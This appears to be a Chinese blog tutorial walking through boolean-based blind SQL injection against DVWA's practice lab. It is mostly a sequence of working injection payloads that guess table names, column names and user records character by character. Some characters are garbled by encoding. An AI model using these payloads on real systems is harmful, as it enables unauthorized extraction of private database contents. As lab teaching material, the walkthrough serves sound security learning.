字符串函数:
ascii(substr((select user()),1,1))=98
ascii(mid((select user()),1,1))=114
left(database(),1)>‘s‘
字符串比较函数:
select user() regexp ‘root‘
select user() like ‘root‘
dvwa-sqli_blind
但是,我们可以构造语句,使得$num结果集的数量和想要执行的语句结果绑定。
1
1‘and 1=1#
1‘and 1=2#
1‘ and (select count(table_name) from information_schema.tables where table_schema=database())=1# 显?不存在
1‘ and (select count(table_name) from information_schema.tables where table_schema=database())=2# 显?存在,即当前库有两个表
猜解第?个表名长度
1‘ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显?不存在
1‘ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显?不存在 ...
1‘ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显?存在,则第一个表名长度为9
猜解第?个表表名的逐个字符
1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显?存在
1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显?存在
1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显?存在
1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显?不存在
1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显?不存在
重复操作,猜解出表名为guestbook、users
猜解users表中字段的数量
1‘ and (select count(column_name) from information_schema.columns where table_name= ‘users‘ and TABLE_SCHEMA=database())=1 # 显?不存在
…
1‘ and (select count(column_name) from information_schema.columns where table_name= ‘users‘ and TABLE_SCHEMA=database())=8 # 显?存在,则当前库的users表中有8个字段
猜解users表中第?个字段的长度
1‘ and length(substr((select column_name from information_schema.columns where table_name= ‘users‘ and TABLE_SCHEMA=database() limit 0,1),1))=1 # 显?不存在
…
1‘ and length(substr((select column_name from information_schema.columns where table_name= ‘users‘ and TABLE_SCHEMA=database() limit 0,1),1))=7 # 显?存在,则users表中第一个字段长度为7
猜解users表中第?个字段名的逐个字符
1‘ and ascii(substr((select column_name from information_schema.columns where table_name= ‘users‘ and TABLE_SCHEMA=database() limit 0,1),1,1))>97 # 显?存在
······
and ascii(substr((select user from dvwa.users limit 0,1),1,1))>200 #
and ascii(substr((select user from dvwa.users limit 0,1),1,1))>100 #
and ascii(substr((select user from dvwa.users limit 0,1),1,1))>50 #
······
减一半来不断缩小区间
1‘ and (select count(*) from users where user = ‘admin‘) = 1 #
1‘ and (select count(*) from users where user = ‘admin‘) = 2 #
1‘ and (select count(*) from users where user = ‘admin‘) = 3 #
.....
脚本一直跑,跑到exists则出结果
原文:https://www.cnblogs.com/Rain99-/p/13280494.html